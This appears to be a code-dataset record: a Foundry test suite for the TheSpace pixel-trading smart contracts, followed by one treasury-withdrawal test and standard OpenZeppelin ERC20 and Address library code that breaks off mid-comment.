vm.expectEmit(true, true, true, true); emit Deal(PIXEL_ID, PIXEL_OWNER, PIXEL_OWNER_1, thespace.getPrice(PIXEL_ID)); // set to new price from `setPrice()` vm.expectEmit(true, true, true, false); emit Price(PIXEL_ID, newPrice, PIXEL_OWNER_1); vm.expectEmit(true, true, true, false); emit Color(PIXEL_ID, PIXEL_COLOR, PIXEL_OWNER_1); vm.prank(PIXEL_OWNER_1); thespace.setPixel(PIXEL_ID, bidPrice, newPrice, PIXEL_COLOR); assertEq(thespace.getPrice(PIXEL_ID), newPrice); assertEq(thespace.getColor(PIXEL_ID), PIXEL_COLOR); } function testCannotSetPixel(uint256 bidPrice) public { vm.assume(bidPrice < PIXEL_PRICE); // bid with PIXEL_OWNER _bid(PIXEL_PRICE, PIXEL_PRICE); // PIXEL_OWNER_1 bids with lower price vm.prank(PIXEL_OWNER_1); vm.expectRevert(abi.encodePacked(bytes4(keccak256("PriceTooLow()")))); thespace.setPixel(PIXEL_ID, bidPrice, bidPrice, PIXEL_COLOR); } function testBatchSetPixels(uint16 price, uint8 color) public { uint256 finalPrice = uint256(price) + 1; uint256 finalColor = 5; bytes[] memory data = new bytes[](3); // bid pixel data[0] = abi.encodeWithSignature( "setPixel(uint256,uint256,uint256,uint256)", PIXEL_ID, PIXEL_PRICE, uint256(price), uint256(color) ); // set price data[1] = abi.encodeWithSignature( "setPixel(uint256,uint256,uint256,uint256)", PIXEL_ID, PIXEL_PRICE, finalPrice, uint256(color) ); // set color data[2] = abi.encodeWithSignature( "setPixel(uint256,uint256,uint256,uint256)", PIXEL_ID, PIXEL_PRICE, finalPrice, finalColor ); vm.prank(PIXEL_OWNER); thespace.multicall(data); assertEq(thespace.getPrice(PIXEL_ID), finalPrice); assertEq(thespace.getColor(PIXEL_ID), finalColor); } /** * @dev Color */ function testSetColor() public { _bid(PIXEL_PRICE, PIXEL_PRICE); uint256 color = 5; vm.prank(PIXEL_OWNER); vm.expectEmit(true, true, true, false); emit Color(PIXEL_ID, color, PIXEL_OWNER); thespace.setColor(PIXEL_ID, color); assertEq(thespace.getColor(PIXEL_ID), color); } function testCannotSetColorByAttacker() public { _bid(PIXEL_PRICE, PIXEL_PRICE); uint256 color = 6; vm.prank(ATTACKER); vm.expectRevert(abi.encodePacked(bytes4(keccak256("Unauthorized()")))); thespace.setColor(PIXEL_ID, color); } /** * @dev Owner Tokens */ function _assertEqArray(ITheSpaceRegistry.Pixel[] memory a, ITheSpaceRegistry.Pixel[] memory b) private { assert(a.length == b.length); for (uint256 i = 0; i < a.length; i++) { assertEq(a[i].tokenId, b[i].tokenId); assertEq(a[i].price, b[i].price); assertEq(a[i].lastTaxCollection, b[i].lastTaxCollection); assertEq(a[i].ubi, b[i].ubi); assertEq(a[i].owner, b[i].owner); assertEq(a[i].color, b[i].color); } } function testGetPixelsByOwnerWithNoPixels() public { ITheSpaceRegistry.Pixel[] memory empty = new ITheSpaceRegistry.Pixel[](0); assertEq(registry.balanceOf(PIXEL_OWNER), 0); (uint256 total0, uint256 limit0, uint256 offset0, ITheSpaceRegistry.Pixel[] memory pixels0) = thespace .getPixelsByOwner(PIXEL_OWNER, 1, 0); assertEq(total0, 0); assertEq(limit0, 1); assertEq(offset0, 0); _assertEqArray(pixels0, empty); (, , , ITheSpaceRegistry.Pixel[] memory pixels1) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 1); _assertEqArray(pixels1, empty); (, , , ITheSpaceRegistry.Pixel[] memory pixels2) = thespace.getPixelsByOwner(PIXEL_OWNER, 0, 0); _assertEqArray(pixels2, empty); } function testGetPixelsByOwnerWithOnePixel() public { uint256 tokenId1 = 100; ITheSpaceRegistry.Pixel[] memory empty = new ITheSpaceRegistry.Pixel[](0); ITheSpaceRegistry.Pixel[] memory one = new ITheSpaceRegistry.Pixel[](1); _bidThis(tokenId1, PIXEL_PRICE); one[0] = thespace.getPixel(tokenId1); assertEq(registry.balanceOf(PIXEL_OWNER), 1); // get this pixel (uint256 total0, uint256 limit0, uint256 offset0, ITheSpaceRegistry.Pixel[] memory pixels0) = thespace .getPixelsByOwner(PIXEL_OWNER, 1, 0); assertEq(total0, 1); assertEq(limit0, 1); assertEq(offset0, 0); _assertEqArray(pixels0, one); (, , , ITheSpaceRegistry.Pixel[] memory pixels1) = thespace.getPixelsByOwner(PIXEL_OWNER, 10, 0); _assertEqArray(pixels1, one); // query with limit=0 (uint256 total2, uint256 limit2, , ITheSpaceRegistry.Pixel[] memory pixels2) = thespace.getPixelsByOwner( PIXEL_OWNER, 0, 0 ); assertEq(total2, 1); assertEq(limit2, 0); _assertEqArray(pixels2, empty); (, , , ITheSpaceRegistry.Pixel[] memory pixels3) = thespace.getPixelsByOwner(PIXEL_OWNER, 0, 1); _assertEqArray(pixels3, empty); // query with offset>=total (, , , ITheSpaceRegistry.Pixel[] memory pixels4) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 1); _assertEqArray(pixels4, empty); (, , , ITheSpaceRegistry.Pixel[] memory pixels5) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 2); _assertEqArray(pixels5, empty); } function testGetPixelsPageByOwnerWithPixels() public { uint256 tokenId1 = 100; uint256 tokenId2 = 101; ITheSpaceRegistry.Pixel[] memory empty = new ITheSpaceRegistry.Pixel[](0); ITheSpaceRegistry.Pixel[] memory two = new ITheSpaceRegistry.Pixel[](2); _bidThis(tokenId1, PIXEL_PRICE); _bidThis(tokenId2, PIXEL_PRICE); two[0] = thespace.getPixel(tokenId1); two[1] = thespace.getPixel(tokenId2); // query with limit>=total assertEq(registry.balanceOf(PIXEL_OWNER), 2); (uint256 total0, uint256 limit0, uint256 offset0, ITheSpaceRegistry.Pixel[] memory pixels0) = thespace .getPixelsByOwner(PIXEL_OWNER, 2, 0); assertEq(total0, 2); assertEq(limit0, 2); assertEq(offset0, 0); _assertEqArray(pixels0, two); (, , , ITheSpaceRegistry.Pixel[] memory pixels1) = thespace.getPixelsByOwner(PIXEL_OWNER, 10, 0); _assertEqArray(pixels1, two); // query with 0<limit<total ITheSpaceRegistry.Pixel[] memory pixelsPage1 = new ITheSpaceRegistry.Pixel[](1); ITheSpaceRegistry.Pixel[] memory pixelsPage2 = new ITheSpaceRegistry.Pixel[](1); pixelsPage1[0] = thespace.getPixel(tokenId1); pixelsPage2[0] = thespace.getPixel(tokenId2); (uint256 total2, , , ITheSpaceRegistry.Pixel[] memory pixels2) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 0); assertEq(total2, 2); _assertEqArray(pixels2, pixelsPage1); (, , , ITheSpaceRegistry.Pixel[] memory pixels3) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 1); _assertEqArray(pixels3, pixelsPage2); // query with offset>=total (, , , ITheSpaceRegistry.Pixel[] memory pixels4) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 2); _assertEqArray(pixels4, empty); (, , , ITheSpaceRegistry.Pixel[] memory pixels5) = thespace.getPixelsByOwner(PIXEL_OWNER, 1, 10); _assertEqArray(pixels5, empty); } /** * @dev Price */ function testGetPrice() public { _bid(PIXEL_PRICE, PIXEL_PRICE); assertEq(thespace.getPrice(PIXEL_ID), PIXEL_PRICE); } function testGetNonExistingPrice() public { uint256 mintTax = registry.taxConfig(CONFIG_MINT_TAX); assertEq(thespace.getPrice(PIXEL_ID + 1), mintTax); } function testSetPrice(uint256 price) public { vm.assume(price <= registry.currency().totalSupply()); vm.assume(price > 0); // bid a token and set price _bid(PIXEL_PRICE, price); assertEq(thespace.getPrice(PIXEL_ID), price); } function testSetPriceByOperator(uint256 price) public { vm.assume(price <= registry.currency().totalSupply()); vm.assume(price > 0); // bid a token and set price _bid(PIXEL_PRICE, PIXEL_PRICE); // approve pixel to operator vm.prank(PIXEL_OWNER); registry.approve(OPERATOR, PIXEL_ID); // set price vm.expectEmit(true, true, true, false); emit Price(PIXEL_ID, price, PIXEL_OWNER); vm.prank(OPERATOR); thespace.setPrice(PIXEL_ID, price); assertEq(thespace.getPrice(PIXEL_ID), price); } function testCannotSetPriceByNonOwner() public { // bid a token _bid(PIXEL_PRICE, PIXEL_PRICE); // someone tries to set price vm.expectRevert(abi.encodeWithSignature("Unauthorized()")); vm.prank(ATTACKER); thespace.setPrice(PIXEL_ID, PIXEL_PRICE); } function testSetPriceTooHigh() public { _bid(PIXEL_PRICE, PIXEL_PRICE); uint256 maxPrice = registry.currency().totalSupply(); uint256 newPrice = maxPrice + 1; vm.expectRevert(abi.encodeWithSignature("PriceTooHigh(uint256)", maxPrice)); vm.prank(PIXEL_OWNER); thespace.setPrice(PIXEL_ID, newPrice); } /** * @dev Owner */ function testGetOwner() public { _bid(PIXEL_PRICE, PIXEL_PRICE); assertEq(thespace.getOwner(PIXEL_ID), PIXEL_OWNER); _bidAs(PIXEL_OWNER_1, thespace.getPrice(PIXEL_ID)); assertEq(thespace.getOwner(PIXEL_ID), PIXEL_OWNER_1); } function testGetOwnerOfNonExistingToken() public { assertEq(thespace.getOwner(PIXEL_ID), address(0)); } /** * @dev Bid */ function testBidNewToken() public { _bid(PIXEL_PRICE, PIXEL_PRICE); assertEq(registry.balanceOf(PIXEL_OWNER), 1); // check price: bid a new pixel will set the price assertEq(thespace.getPrice(PIXEL_ID), PIXEL_PRICE); } function testBidExistingToken() public { // PIXEL_OWNER bids a pixel _bid(PIXEL_PRICE, PIXEL_PRICE); uint256 bidderCurrencyOldBlanace = currency.balanceOf(PIXEL_OWNER_1); uint256 sellerCurrencyOldBlanace = currency.balanceOf(PIXEL_OWNER); // PIXEL_OWNER_1 bids a pixel from PIXEL_OWNER uint256 newBidPrice = PIXEL_PRICE + 1000; _bidAs(PIXEL_OWNER_1, newBidPrice); // check ERC-721 balance assertEq(registry.balanceOf(PIXEL_OWNER), 0); assertEq(registry.balanceOf(PIXEL_OWNER_1), 1); // check currency balance assertEq(currency.balanceOf(PIXEL_OWNER_1), bidderCurrencyOldBlanace - PIXEL_PRICE); assertEq(currency.balanceOf(PIXEL_OWNER), sellerCurrencyOldBlanace + PIXEL_PRICE); // check ownership assertEq(thespace.getOwner(PIXEL_ID), PIXEL_OWNER_1); // check price assertEq(thespace.getPrice(PIXEL_ID), PIXEL_PRICE); } function testBatchBid() public { bytes[] memory data = new bytes[](3); // bid PIXEL_ID as PIXEL_OWNER _bid(PIXEL_PRICE, PIXEL_PRICE); data[0] = abi.encodeWithSignature("bid(uint256,uint256)", PIXEL_ID, PIXEL_PRICE); data[1] = abi.encodeWithSignature("bid(uint256,uint256)", PIXEL_ID + 1, PIXEL_PRICE); data[2] = abi.encodeWithSignature("bid(uint256,uint256)", PIXEL_ID + 2, PIXEL_PRICE); vm.prank(PIXEL_OWNER_1); thespace.multicall(data); assertEq(thespace.getOwner(PIXEL_ID), PIXEL_OWNER_1); assertEq(thespace.getOwner(PIXEL_ID + 1), PIXEL_OWNER_1); assertEq(thespace.getOwner(PIXEL_ID + 2), PIXEL_OWNER_1); } function testBidDefaultedToken() public { // bid a token and set a high price uint256 price = registry.currency().totalSupply(); _bid(PIXEL_PRICE, price); // check tax is greater than balance _rollBlock(); uint256 tax = thespace.getTax(PIXEL_ID); assertLt(currency.balanceOf(PIXEL_OWNER_1), tax); // set mint tax uint256 mintTax = 50 * (10**uint256(currency.decimals())); _setMintTax(mintTax); // bid and token will be defaulted uint256 prevBalance = currency.balanceOf(PIXEL_OWNER_1); _bidAs(PIXEL_OWNER_1, PIXEL_PRICE); // bidder only pays the mint tax assertEq(currency.balanceOf(PIXEL_OWNER_1), prevBalance - mintTax); // tax paid by the old owner assertEq(currency.balanceOf(PIXEL_OWNER), 0); // tax was clear assertEq(thespace.getTax(PIXEL_ID), 0); // ownership was transferred assertEq(thespace.getOwner(PIXEL_ID), PIXEL_OWNER_1); // price didn't change since bid price is lower than the old price assertEq(thespace.getPrice(PIXEL_ID), price); } function testCannotBidOutBoundTokens() public { vm.startPrank(PIXEL_OWNER_1); uint256 totalSupply = registry.totalSupply(); // oversupply id vm.expectRevert(abi.encodeWithSignature("InvalidTokenId(uint256,uint256)", 1, totalSupply)); thespace.bid(totalSupply + 1, PIXEL_PRICE); // zero id vm.expectRevert(abi.encodeWithSignature("InvalidTokenId(uint256,uint256)", 1, totalSupply)); thespace.bid(0, PIXEL_PRICE); vm.stopPrank(); } function testCannotBidPriceTooLow() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); // price too low to bid a existing token vm.expectRevert(abi.encodeWithSignature("PriceTooLow()")); _bidAs(PIXEL_OWNER_1, PIXEL_PRICE - 1); // price too low to bid a non-existing token uint256 mintTax = 50 * (10**uint256(currency.decimals())); _setMintTax(mintTax); vm.expectRevert(abi.encodeWithSignature("PriceTooLow()")); _bidAs(PIXEL_OWNER_1, mintTax - 1); } function testCannotBidExceedAllowance() public { // set mint tax uint256 mintTax = 50 * (10**uint256(currency.decimals())); _setMintTax(mintTax); // revoke currency approval vm.prank(PIXEL_OWNER); currency.approve(address(registry), 0); // bid a pixel vm.expectRevert("ERC20: transfer amount exceeds allowance"); vm.prank(PIXEL_OWNER); thespace.bid(PIXEL_ID, PIXEL_PRICE); } /** * @dev Ownership & Tax */ function testTokenShouldBeDefaulted() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); vm.startPrank(PIXEL_OWNER); _rollBlock(); uint256 tax = thespace.getTax(PIXEL_ID); // check if token should be defaulted currency.approve(address(registry), tax - 1); (, bool shouldDefault) = thespace.evaluateOwnership(PIXEL_ID); assertTrue(shouldDefault); vm.stopPrank(); } function testCollectableTax() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); vm.startPrank(PIXEL_OWNER); _rollBlock(); uint256 tax = thespace.getTax(PIXEL_ID); // tax can be fully collected (uint256 collectableTax, bool shouldDefault) = thespace.evaluateOwnership(PIXEL_ID); assertEq(collectableTax, tax); assertFalse(shouldDefault); // tax can't be fully collected currency.approve(address(registry), tax - 1); (uint256 collectableTax2, bool shouldDefault2) = thespace.evaluateOwnership(PIXEL_ID); assertLt(collectableTax2, tax); assertTrue(shouldDefault2); vm.stopPrank(); } function testDefault() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); _rollBlock(); vm.prank(PIXEL_OWNER); currency.approve(address(registry), 0); thespace.settleTax(PIXEL_ID); // token was burned assertEq(registry.balanceOf(PIXEL_OWNER), 0); // price was reset uint256 mintTax = 50 * (10**uint256(currency.decimals())); _setMintTax(mintTax); assertEq(thespace.getPrice(PIXEL_ID), mintTax); // bid with mint tax vm.expectEmit(true, true, true, false); emit Tax(PIXEL_ID, PIXEL_OWNER_1, mintTax); uint256 prevBalance = currency.balanceOf(PIXEL_OWNER_1); _bidAs(PIXEL_OWNER_1, mintTax); assertEq(currency.balanceOf(PIXEL_OWNER_1), prevBalance - mintTax); } function testTaxCalculation() public { uint256 initialBlockNo = block.number; uint256 blockRollsToFirstWindow = initialBlockNo + TAX_WINDOW; uint256 blockRollsToSecondWindow = blockRollsToFirstWindow + TAX_WINDOW; uint256 blockRollsToThirdWindow = blockRollsToSecondWindow + TAX_WINDOW; /** * bid and set a zero price */ _bid(PIXEL_PRICE, 0); // rolls block to first window vm.roll(blockRollsToFirstWindow); // tax is zero assertEq(thespace.getTax(PIXEL_ID), 0); // lastTaxCollection is still initialBlockNo (, uint256 lastTaxCollection, ) = registry.tokenRecord(PIXEL_ID); assertEq(lastTaxCollection, initialBlockNo); /** * bid with new owner and still zero price */ _bidAs(PIXEL_OWNER_1, 0, 0); // tax is still zero assertEq(thespace.getTax(PIXEL_ID), 0); // but lastTaxCollection is unchanged (, uint256 lastTaxCollection1, ) = registry.tokenRecord(PIXEL_ID); assertEq(lastTaxCollection1, initialBlockNo); /** * bid with original owner but with non-zero price */ // rolls block to first window vm.roll(blockRollsToSecondWindow); _bid(0, 100); // lastTaxCollection is changed to blockRollsToSecondWindow (, uint256 lastTaxCollection2, ) = registry.tokenRecord(PIXEL_ID); assertEq(lastTaxCollection2, blockRollsToSecondWindow); // and tax is still zero assertEq(thespace.getTax(PIXEL_ID), 0); // keep rolling to third window and tax is now non-zero vm.roll(blockRollsToThirdWindow); assertGt(thespace.getTax(PIXEL_ID), 0); } function testGetTax() public { uint256 blockRollsTo = block.number + TAX_WINDOW; uint256 taxRate = registry.taxConfig(CONFIG_TAX_RATE); // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); vm.roll(blockRollsTo); (, uint256 lastTaxCollection, ) = registry.tokenRecord(PIXEL_ID); uint256 tax = (PIXEL_PRICE * taxRate * (blockRollsTo - lastTaxCollection)) / (1000 * 10000); assertEq(thespace.getTax(PIXEL_ID), tax); // zero price _bidAs(PIXEL_OWNER_1, PIXEL_PRICE, 0); vm.roll(block.number + TAX_WINDOW); assertEq(thespace.getTax(PIXEL_ID), 0); } function testCannotGetTaxWithNonExistingToken() public { vm.expectRevert(abi.encodeWithSignature("TokenNotExists()")); thespace.getTax(0); } function testSettleTax() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); uint256 blockRollsTo = block.number + TAX_WINDOW; vm.roll(blockRollsTo); (uint256 prevUBI, uint256 prevTreasury, ) = registry.treasuryRecord(); uint256 tax = thespace.getTax(PIXEL_ID); vm.expectEmit(true, true, true, false); emit Tax(PIXEL_ID, PIXEL_OWNER, tax); thespace.settleTax(PIXEL_ID); // check tax (uint256 newUBI, uint256 newTreasury, ) = registry.treasuryRecord(); assertEq(newUBI + newTreasury, tax + prevUBI + prevTreasury); // check lastTaxCollection (, uint256 lastTaxCollection, ) = registry.tokenRecord(PIXEL_ID); assertEq(lastTaxCollection, blockRollsTo); } /** * @dev UBI */ function testWithdrawUBI() public { uint256 newBidPrice = PIXEL_PRICE + 1000; _bidAs(PIXEL_OWNER_1, PIXEL_PRICE, newBidPrice); //collect tax _rollBlock(); thespace.settleTax(PIXEL_ID); // check UBI uint256 ubi = thespace.ubiAvailable(PIXEL_ID); assertGt(ubi, 0); // withdraw UBI uint256 prevBalance = currency.balanceOf(PIXEL_OWNER_1); vm.prank(PIXEL_OWNER_1); vm.expectEmit(true, true, true, false); emit UBI(PIXEL_ID, PIXEL_OWNER_1, ubi); thespace.withdrawUbi(PIXEL_ID); assertEq(currency.balanceOf(PIXEL_OWNER_1), prevBalance + ubi); // check UBI assertEq(thespace.ubiAvailable(PIXEL_ID), 0); } /** * @dev Transfer */ function testCannotTransferFromIfDefault() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); _rollBlock(); vm.startPrank(PIXEL_OWNER); currency.approve(address(registry), 0); registry.transferFrom(PIXEL_OWNER, PIXEL_OWNER_1, PIXEL_ID); vm.stopPrank(); // ownership was transferred to zero address assertEq(thespace.getOwner(PIXEL_ID), address(0)); // price was reset to mint tax since it was burned uint256 mintTax = 50 * (10**uint256(currency.decimals())); _setMintTax(mintTax); assertEq(thespace.getPrice(PIXEL_ID), mintTax); // tax was clear _bidAs(PIXEL_OWNER_1, mintTax); assertEq(thespace.getTax(PIXEL_ID), 0); } function testCanTransferFromIfSettleTax() public { // bid and set price _bid(PIXEL_PRICE, PIXEL_PRICE); _rollBlock(); vm.startPrank(PIXEL_OWNER); registry.transferFrom(PIXEL_OWNER, PIXEL_OWNER_1, PIXEL_ID); vm.stopPrank(); assertEq(thespace.getOwner(PIXEL_ID), PIXEL_OWNER_1); // tax was clear assertEq(thespace.getTax(PIXEL_ID), 0); // price was reset to zero uint256 mintTax = 50 * (10**uint256(currency.decimals())); _setMintTax(mintTax); assertEq(thespace.getPrice(PIXEL_ID), 0); } /** * @dev Token URI */ function testGetTokenImageURI() public { assertEq(thespace.tokenImageURI(), TOKEN_IMAGE_URI); } function testSetTokenImageURI() public { _bid(PIXEL_PRICE, PIXEL_PRICE); string memory prevTokenURI = registry.tokenURI(PIXEL_ID); vm.prank(ACL_MANAGER); thespace.setTokenImageURI("ipfs://1235413"); string memory newTokenURI = registry.tokenURI(PIXEL_ID); bool isSameURI = (keccak256(abi.encodePacked((prevTokenURI))) == keccak256(abi.encodePacked((newTokenURI)))); assertFalse(isSameURI); } function testCannotSetTokenImageURIByNonACLManager() public { vm.expectRevert(abi.encodeWithSignature("RoleRequired(uint8)", ROLE_ACL_MANAGER)); thespace.setTokenImageURI("123"); } function testGetTokenURI() public { _bid(PIXEL_PRICE, PIXEL_PRICE); string memory tokenURI = registry.tokenURI(PIXEL_ID); console2.log(tokenURI); } function testCannotGetTokenURIInLogicContract() public { _bid(PIXEL_PRICE, PIXEL_PRICE); vm.expectRevert(abi.encodeWithSignature("Unauthorized()")); thespace._tokenURI(PIXEL_ID); } }
bid a token collect tax withdraw treasury check treasury balance check contract balance
function testWithdrawTreasury() public { _bid(PIXEL_PRICE, PIXEL_PRICE); _rollBlock(); thespace.settleTax(PIXEL_ID); uint256 prevTreasuryBalance = currency.balanceOf(TREASURY); uint256 prevContractBalance = currency.balanceOf(address(registry)); (, uint256 accumulatedTreasury, uint256 treasuryWithdrawn) = registry.treasuryRecord(); uint256 amount = accumulatedTreasury - treasuryWithdrawn; vm.prank(TREASURY_ADMIN); vm.expectEmit(true, true, false, false); emit Treasury(TREASURY, amount); thespace.withdrawTreasury(TREASURY); assertEq(currency.balanceOf(TREASURY), prevTreasuryBalance + amount); (, , uint256 newTreasuryWithdrawn) = registry.treasuryRecord(); assertEq(newTreasuryWithdrawn, accumulatedTreasury); assertEq(currency.balanceOf(address(registry)), prevContractBalance - amount); }
12,669,296
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as 